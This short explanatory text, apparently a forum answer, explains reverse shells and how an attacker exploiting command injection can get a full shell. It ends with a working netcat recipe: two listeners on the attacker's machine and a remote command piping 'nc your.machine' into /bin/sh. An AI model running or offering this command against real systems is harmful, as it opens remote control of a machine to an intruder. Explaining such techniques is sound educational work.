Typically, when you open a secure shell (SSH) connection your client is connecting to a SSH server running on the target machine. A reverse shell occurs when the server initiates a connection with a client that is listening - for example, you have access to a shell to run commands on a target computer (usually through a command injection vulnerability in a website). This means you don't have a full shell - just the ability to run arbitrary commands.

You open a reverse shell which instructs your target computer which is running a SSH server to connect to your client, which allows you to now have a full featured shell at your hands.

Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication.

If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you.

The "classic way" to do this is to run two instances of netcat in listening mode on your machine:

  terminal1> nc -l 8001

  terminal2> nc -l 8002

Then you run something like this on the remote system:

  nc your.machine 8001 | /bin/sh | nc your.machine 8002

Now you can enter commands in terminal1 and see their output in terminal2.